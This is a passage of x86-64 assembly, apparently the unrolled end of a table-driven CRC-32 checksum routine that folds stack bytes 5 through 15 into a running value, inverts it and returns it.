movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret